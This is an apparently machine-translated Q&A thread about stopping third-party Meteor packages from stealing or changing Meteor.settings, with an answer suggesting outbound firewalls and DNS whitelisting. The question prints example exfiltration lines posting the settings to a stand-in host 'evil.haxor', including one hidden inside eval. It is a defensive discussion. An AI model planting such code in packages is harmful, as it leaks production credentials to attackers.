如何防止第三方软件包直接访问Meteor.settings?

时间:2015-03-15 17:28:35

标签: security meteor meteorite

我已经过测试,第三方太空中允许这两件事:

Meteor.settings.foo = "foobar"                   # why u change my settings?
eval("HTTP.post('evil.haxor', Meteor.settings)") # nooooo

我希望能够保护我的设置免受第三方的侵害。

情景:

  1. 我的Meteor.settings文件中包含敏感数据,特别是在制作中,因为这是目前放置它们的最佳做法。
  2. 我使用第三方流星包,例如iron:router,但可能是一位鲜为人知的作者。
  3. 其中一个第三方软件包会查找我的Meteor.settings并执行一些HTTP帖子,其中会发送一些我的设置。
  4. HTTP.post('http://evil.haxor', Meteor.settings) # all ur settings

    动臂即可。我立即泄露了我的生产凭证,支付网关,亚马逊等等。更糟糕的是,据我所知,窃取settings的代码可能会被加载到eval中,因此我甚至看不到字符串" Meteor。设置"在包的来源。

    我已经过测试,第三方太空中允许这两件事:

    Meteor.settings.foo = "foobar"                   # why u change my settings?
    eval("HTTP.post('evil.haxor', Meteor.settings)") # nooooo
    

    我可以使用hacky解决方案。我知道Meteor团队可能不会立即解决这个问题,考虑到所有问题(Windows支持,非Mongo数据库)。我只是希望能够为我的公司提供这种级别的安全性,我认为会让审计师发现这种开放程度。否则我担心我手动安全审核我使用的每个包。

    感谢您的考虑!

    编辑:我现在看到包看到/窃取设置的风险与任何包读取(或写入)文件系统的问题基本相同。解决这个问题的最佳方法是加密。这是一个有效的提案,我可以立即使用。但是,我认为可以而且应该是包装范围内的概念'设置。此外,与评论者的对话使我意识到另一个问题,即设置在运行时(易于)修改的问题,可以通过使用ES5属性使设置对象成为只读来解决。

1 个答案:

答案 0 :(得分:0)

恶意npm软件包可以附带本机代码扩展,直接访问文件系统,并且通常可以执行应用程序中其余代码可以执行的任何操作。

我看到了2个(部分)解决方案:

  1. 使用出站规则和日志记录设置防火墙。不幸的是,如果您的应用程序与任何类型的社交网络(Facebook,Twitter)进行通信,那么防火墙的想法将无法处理使用twitter作为传输数据的方式的恶意软件。但也许会有所帮助?
  2. 锁定DNS解析,提供DNS查找的白名单。通过这种方式,您可以发现应用程序是否开始尝试与'evil.haxor'进行通信
  3. 还有其他更先进的探测器 - 但是在某些时候,黑客会追逐其他服务,并且不会尝试修改你的代码。

    祝你好运。它的好处是偏执 - 因为它们真的是为了得到你。